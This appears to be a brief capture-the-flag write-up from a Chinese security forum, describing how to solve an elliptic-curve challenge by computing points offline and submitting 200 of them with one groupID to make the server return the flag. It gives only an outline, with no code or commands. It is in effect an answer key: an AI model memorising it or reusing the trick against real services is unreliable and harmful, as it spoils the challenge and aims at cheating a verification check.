From the server.py, we just need to find points that satisfy E((x, y)) == cP + dQ, from the parameters.sage we have P,Q,we can easily do it offline and send 200 points to server with same groupID, then the server give back the flag.

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖